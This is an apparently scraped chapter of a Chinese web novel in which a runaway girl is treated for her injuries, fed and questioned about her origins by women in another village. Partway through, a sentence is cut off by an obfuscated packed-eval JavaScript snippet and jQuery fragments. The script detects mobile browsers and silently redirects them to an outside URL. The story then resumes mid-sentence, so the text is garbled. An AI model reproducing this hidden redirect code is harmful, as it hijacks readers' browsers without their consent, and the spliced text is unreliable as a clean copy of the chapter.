23. 第 23 章
作品:《农女要登青云梯》 婶子,你可有见过我姐姐?”陶苗苗脑子一转,状似无辜地问起了亲戚。
没想到,面前的妇人听完,抱臂嗤笑一声,“小丫头,别想乱造人,也别乱攀亲戚。”
她指了指身后的屋子,“看到了吗?这地方就是专门为你们这些人造的。
你能想到的所有借口,这几十年里,你的前辈们都用过了。”
任是陶苗苗如何机敏,听到这话也只能尴尬一笑,讪讪地闭上了嘴。
妇人不再多言,转身朝身后的屋子走去,“走吧,这下有得忙咯。”
后一句大概是对迎面而来的另一位妇人说的,对方看到陶苗苗,眸子里写满了“麻烦”二字。
起初发问的小女孩见状,小跑到妇人身边,轻轻地扯了扯她的衣角,“娘,姐姐应该很疼吧。”
妇人听到女儿的话,摸了摸她的发顶,既欣慰又担忧。
她转头看向陶苗苗。
面前的丫头泥水和血水混在一起,脏污不堪。
十根手指头血肉模糊,没一根好的,一看便知遭了大罪。
走路有些瘸拐,应当是腿受了伤。
身上的衣服破破烂烂的,破的地方大多糊了泥巴,看不清是否有伤口,但想来好不到哪儿去。
妇人克制住翻涌而上的同情,仔细辨认起来,大多是树枝划伤,摔伤和擦伤。
衣服和鞋子破损处也无任何刀剑的痕迹,妇人才扬声朝屋内唤道。
“乌木,来给这丫头包扎下伤口。明清,给这丫头端碗热汤面过来。”
陶苗苗一听,“给吃的,给治伤,应该是好人吧。”
一盆温水被放到跟前,一位约摸二十出头的女子温和地看着她,“会有些疼,忍着点。”
破损而脏污的衣物被脱下,有些粘连上的伤口再次被撕开,陶苗苗疼得直吸气。
脏污得不成样子的牛皮小靴一脱下来,一股闷臭味传来,陶苗苗不好意思地缩了缩脚趾头。
温热的布巾擦上身体,很快,被泥水遮掩的伤口清晰地露了出来。
大概是有蓑衣起遮挡作用,身上的伤口主要集中在脖颈和腿上。尤其是膝盖处,大概是多次摔倒滑跪,红肿和擦伤十分明显。
背部和手肘处还有几处伤口比较深,应当是滚落时被树枝或刀割草划伤。
乌木一一判断着伤口的由来,又仔细涂上药膏,这才来到最棘手的指头和脚踝。
乌木看得拧眉,脚踝扭伤很严重,一眼看去已经肿得发亮。拖着这样一只腿行走,也不知,这丫头是怎么坚持下来的。
她抬手摸了一番,好在没有骨折,只是关节错位加上皮肉受损。
一阵钻心的疼痛袭来,陶苗苗忍不住痛叫出声。
下一瞬,那双温热的手已经离开了她的脚踝,早先持续不断的疼痛明显减轻了许多。
陶苗苗用手背擦了擦方才这一瞬间腾地冒出来的汗。
感激又略微不好意思地看向乌木。不等她说出客套感激的话语,乌木拿起了她的手。
陶苗苗看着自己乱七八糟的手指头,想到方才的疼痛,紧张地舔了舔唇。
乌木像是在给她解释一般,“这里面还有泥土,要想长好,得再清洗一番,然后淋上烧酒。”
陶苗苗听得瑟瑟发抖,她知道的,这玩意在前世还有个专有名词叫清创。
不清不行,会烂,清起来痛不欲生。
之后的痛苦陶苗苗已经不想再过多回忆,大概跟紫薇被夹手指头差不多,没有最痛,只有更痛。
整个小院都能听到陶苗苗嗷嗷嗷的痛叫声。
待她顶着被包成胡萝卜的手指头出现在小院时,连最冷面的年长妇人都对她投来了略带关切的眼神。
一碗热汤面被放在她的跟前,虽然指尖和指甲受损严重,但并未伤筋动骨。
陶苗苗用被包扎后显得格外胖乎的手指头,笨拙地吃完了热乎乎的汤面,连汤都喝得干干净净。
她小心翼翼地舔了下唇边。才将将放下碗,还没来得及开口道谢,便被叫到了堂屋。
此时已是下半晌,陶苗苗一夜未眠,而今伤口处理好,肚子也填饱了,紧绷了许久的脑子变得昏沉起来。
堂屋里,早先见过的那两位年长妇人端坐在一张条凳上,面前放着一张大桌子,上面摆着一本厚厚的册子。
见她过来,二人没什么表情地让她坐下,左侧的妇人翻开册子,右侧的妇人张口就问了一句让陶苗苗瞬间清醒的话。
“是何名姓?从山那边哪里来的?”
陶苗苗张口欲言,就听对面的妇人警告道,“不要骗人,想好再回答。如果后面被发现撒谎,身份有假,将直接驱逐出去。”
陶苗苗一愣,也不知是吓人还是真的,直接驱逐出去,这么零容忍?
那她早先编好的说辞还能说吗?
见陶苗苗拧眉不语,右边的妇人沉声说道,“一定要说实话,你既然能走到这,也是个聪明人。
两边挨得这么近,未来露馅的风险并不小。我们还会定期根据你们给的身份去那边核查。
一旦知道有假,驱逐出去都是轻的,身份有重大嫌疑的甚至会下狱,会受刑。”
下狱?!
陶苗苗惊愕抬头,还有下狱这个选项?
她们看起来不像这么狠的人吧…
陶苗苗分辨不出她们话里的真假,有下狱这个选项,假话肯定是不敢说了。
但,她们目前释放出来的善意又不足以让她如实说出身份地址。
如果说了实话,万一,是想精准把她遣送回去呢?
那些杳无音讯的人,到底是迎来了新生活,还是下了狱?
陶苗苗拧着眉头,真话假话都不敢说。
她觑了面前的人一眼,垂下头,小脸崩得死紧,唇紧紧抿着,沉默以对。
两位妇人对视一眼,看她黑黑瘦瘦的一个小女孩,垂头坐在那儿,露出来的脸颊上都是细细密密的伤口,手指头更是包得跟木棍似的。
终是同情心占了上风,软和了声音劝说。
“我们不是坏人,不然早把你关起来了。只是我们这儿也有自己的章法。
你若不交代清楚身份来历,谁知道你是好是歹,村子里这么多幼童,可不敢贸然接收不知底细的人。”
这么一说,确实有理,但,陶苗苗皱着眉头,还是心里没底。
“那你是何名姓,总得说一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724723|187002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个吧,不然我们都不知道怎么叫你。我名唤年凝,你叫我年婶子就好。”
“我名唤朱庆萍,你叫我朱婶子便是。”
这时代的庄子大多以姓氏命名,说了真实姓名也不稳妥。陶苗苗抿了抿唇,还是什么都不愿意说。
氛围在僵持中渐渐凝滞,劝说许久,陶苗苗始终一副咬紧牙关,打死不说的模样。
太阳渐渐落山,陶苗苗这般不配合,都做好饿肚子的准备了。
没想到,早先那位叫明清的姐姐又给她端来了饭菜。
她面上有些不好意思。
不过,热乎乎的饭真好吃!
陶苗苗吃得毫不含糊,呼啦啦一顿猛吃,没多会儿便吃了个底朝天。
明清惊异于她的好胃口,磕绊地问道,“吃饱了吗?”
陶苗苗点了点头,“吃饱了,谢谢姐姐。”
她拘谨地站起身,两只胡萝卜一样的手碰在了一起,未能完成绞手指头的标准拘谨动作,却显得更可怜了。
“姐姐,我不白吃,等我手上的伤好了,就给你们干活,只要给我一口饭吃就行。”
明清才来这儿帮忙不久,并不如年长的妇人们见多识广,被陶苗苗这一番动作言语弄得有些无措。
她同情地看了陶苗苗一眼,“你手上伤不轻,先别多想其他的。年婶子她们虽然看着凶,实则面冷心热,最好不过了!
至于干活,你若是不说清楚身份来历,年婶子不会让你沾手灶上的活计,更不会让你四处走动,也没剩什么能做的了。”
陶苗苗听懂了她话里的劝说之意。她其实已经基本确定这里的人不是坏人。
只是,并不只有坏人会办坏事。
打着为她好的旗号把她送回家,谁又能说这做的是坏事?
可于她却将是灭顶之灾。
陶苗苗不敢赌。
夜里,陶苗苗被安置到了院子最中间的小房子里,一个从任何方向都很难跑出去的位置。
看来不说清楚身份,以后就是这种被当贼防的待遇了。
推门入内,屋子里陈设比较简陋。只有一张小桌子和一张窄窄的床铺,看起来只是一个临时居所。
铺上半旧的薄被叠得很整齐,俯身去闻,还有皂角的清香,应当是新铺的。
罢了,有吃的有住的,被当贼人防也不是什么大事了。
年婶子说得确实有理,她来历不明,村里这么多孩子,不防才不正常呢。
陶苗苗脱下衣服,蜷进被子里,方才有了逃出生天的实感。
昨夜的慌乱出逃而今回想起来像做梦一样。
她竟然真的在那么大的雨天,独身一人翻山越岭,到了另一处天地。
这里的妇人和小女孩儿看起来与陶家庄完全不同。
今天傍晚,她还看到那个小女孩捧着书本做功课,撅着小嘴,与母亲抱怨,明日先生要检查的课业太多。
陶苗苗确定,这里就是她热切向往的地方。
现在唯一需要确定的就是,她们如果知道了她的真实身份,究竟会如何对她。
善待还是遣返?
陶苗苗望着屋顶,轻叹一口气,这于她而言,可是天堂与地狱之差。

